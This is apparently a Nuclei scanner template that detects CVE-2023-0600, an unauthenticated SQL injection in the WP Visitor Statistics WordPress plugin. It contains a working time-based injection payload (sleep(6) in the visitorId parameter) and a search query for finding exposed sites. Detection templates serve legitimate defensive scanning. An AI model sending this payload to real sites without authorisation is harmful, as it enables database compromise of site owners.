nuclei-templates/http/cves/2023/CVE-2023-0600.yaml

58 lines
1.9 KiB
YAML

id: CVE-2023-0600
info:
name: WP Visitor Statistics (Real Time Traffic) < 6.9 - SQL Injection
author: r3Y3r53,j4vaovo
severity: critical
description: |
The plugin does not escape user input which is concatenated to an SQL query, allowing unauthenticated visitors to conduct SQL Injection attacks.
remediation: Fixed in version 6.9
reference:
- https://wpscan.com/vulnerability/8f46df4d-cb80-4d66-846f-85faf2ea0ec4
- https://nvd.nist.gov/vuln/detail/CVE-2023-0600
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-0600
cwe-id: CWE-89
epss-score: 0.03606
epss-percentile: 0.9066
cpe: cpe:2.3:a:plugins-market:wp_visitor_statistics:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: plugins-market
product: wp_visitor_statistics
framework: wordpress
fofa-query: body="wp-stats-manager"
public-www: "/wp-content/plugins/wp-stats-manager/"
tags: cve,cve2023,wp,wp-plugin,wordpress,wpscan,unauth,wp-stats-manager,sqli,plugins-market
variables:
str: '{{rand_int(100000, 999999)}}'
http:
- raw:
- |
GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 30s
GET /?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId={{str}}%27,sleep(6),0,0,0,0,0);--+- HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'contains(body_1, "Real Time Traffic")'
condition: and
- type: dsl
dsl:
- 'duration_2>=6'
- 'status_code_2 == 200'
- 'contains(body_2, "sleep(6)")'
condition: and
# digest: 490a0046304402205f4a67bdaa27bcbfb4944dc0d8288b3d50b545f455fbe931a80fafc6e2fa444b0220682f0b80192b17ab02b96ab6f5f98fd2e943dbf3eefe26f861c61acdfd4c0858:922c64590222798bb761d5b6d8e72950